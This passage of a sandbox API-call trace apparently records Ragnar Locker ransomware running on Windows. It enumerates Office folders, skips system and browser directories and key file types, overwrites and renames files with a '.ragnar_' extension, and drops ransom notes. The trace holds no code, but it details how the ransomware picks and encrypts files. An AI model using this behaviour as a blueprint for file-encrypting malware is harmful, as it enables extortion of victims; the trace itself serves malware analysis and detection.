[0062.899] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.899] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0062.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.899] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=4274) returned 1 [0062.899] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x10a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.899] GetProcessHeap () returned 0x580000 [0062.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.899] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.901] VirtualAlloc (lpAddress=0x0, dwSize=0x10b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.901] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.901] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.901] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x10b2, lpOverlapped=0x0) returned 1 [0062.902] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.902] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.902] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x10b2, lpOverlapped=0x0) returned 1 [0062.903] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.903] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.903] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x10b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.903] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.903] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.903] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.903] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.903] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.903] GetProcessHeap () returned 0x580000 [0062.903] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.903] CloseHandle (hObject=0x108) returned 1 [0062.907] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" [0062.907] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.ragnar_FD7BD9FC" [0062.907] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.907] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bbc640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.907] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0062.907] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.907] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.907] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.907] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bbc640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0062.907] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.907] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0062.907] lstrcmpiW (lpString1="OneNote.en-us", lpString2=".") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="..") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Windows") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Windows.old") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Tor browser") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Internet Explorer") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Google") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Opera") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Opera Software") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Mozilla") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Mozilla Firefox") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="$Recycle.Bin") returned 1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="ProgramData") returned -1 [0062.908] lstrcmpiW (lpString1="OneNote.en-us", lpString2="All Users") returned 1 [0062.908] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.908] lstrcpyW (in: lpString1=0x1eab90, lpString2="OneNote.en-us" | out: lpString1="OneNote.en-us") returned="OneNote.en-us" [0062.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" [0062.908] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" [0062.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RGNR_FD7BD9FC.txt" [0062.908] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.912] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*" [0062.913] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.913] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.913] lstrcpyW (in: lpString1=0x1e9cc0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77be27a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.913] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.913] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77be27a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.913] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.913] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.913] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0062.913] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".") returned 1 [0062.913] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="..") returned 1 [0062.913] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be27a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.913] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.913] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.913] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.913] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0062.913] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0062.913] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.913] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77be27a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.914] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77be27a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.914] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0062.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.914] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="OneNoteMUI.XML" | out: lpString1="OneNoteMUI.XML") returned="OneNoteMUI.XML" [0062.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned=".XML" [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="autorun.inf") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="boot.ini") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootfont.bin") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootsect.bak") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootmgr") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootmgr.efi") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootmgfw.efi") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="desktop.ini") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="iconcache.db") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ntldr") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ntuser.dat") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ntuser.dat.log") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ntuser.ini") returned 1 [0062.914] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="thumbs.db") returned -1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.914] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0062.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.915] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1606) returned 1 [0062.915] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x63d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.915] GetProcessHeap () returned 0x580000 [0062.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.915] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.916] VirtualAlloc (lpAddress=0x0, dwSize=0x646, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.917] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.917] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.917] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x646, lpOverlapped=0x0) returned 1 [0062.917] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.917] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x646, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.917] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x646, lpOverlapped=0x0) returned 1 [0062.917] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x646, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.917] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.917] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x646, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.917] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.917] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.918] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.918] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.918] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.918] GetProcessHeap () returned 0x580000 [0062.918] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.918] CloseHandle (hObject=0x104) returned 1 [0062.923] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 